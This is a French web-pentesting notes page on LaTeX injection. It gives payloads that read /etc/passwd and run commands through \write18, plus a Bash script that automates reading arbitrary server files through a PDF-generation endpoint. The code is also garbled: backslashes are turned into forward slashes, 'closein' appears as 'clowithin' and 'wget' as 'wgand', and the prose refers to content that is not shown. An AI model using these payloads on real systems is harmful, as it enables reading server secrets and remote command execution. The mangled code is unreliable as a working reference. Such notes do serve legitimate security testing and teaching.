> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).
# Techniques d’injection LaTeX
Créez un fichier LaTeX avec le contenu ci-dessous et générez une URL avec un fichier PDF :
Utilisez le site web [saumon](https://salmonsec.com/cheatsheets/exploitation/latex_injection) pour essayer d'insérer des commandes (dans ce cas, elles sont bloquées) :
Voici le code PHP avec la sanitisation :
Cependant, la sanitisation ne prend pas en compte les commandes ci-dessous qui permettent de lister ligne par ligne un fichier du système :
```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file
```
Sachant cela, ce script Bash automatise tout pour afficher n'importe quel fichier du système :
```bash
#!/bin/bash
Techniques d'injection LaTeX
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
read_file_to_line="%0A//read//file%20to%20line%0A"
for i in $(seq 1 100); do
file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
if [ $file_to_download ]; then
wgand $file_to_download &>/dev/null
file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
pdftotext $file_to_convert
file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
rm $file_to_convert
cat $file_to_read | head -n 1
rm $file_to_read
read_file_to_line+="%0A//read//file%20to%20line%0A"
else
read_file_to_line+="%0A//read//file%20to%20line%0A"
fi
done
else
echo -e "/n[!] Utilisation : $0 /etc/passwd/n/n"
fi
```
Une autre façon de procéder serait de convertir le contenu en base64 :
```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}
```
Collez le contenu dans un fichier appelé data et décodez-le en texte brut :
```bash
cat data | tr -d '/n' | base64 -d; echo
```
Pour exécuter des commandes, vous pourriez utiliser le contenu ci-dessous (dans ce cas, id) :
```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file
```
---
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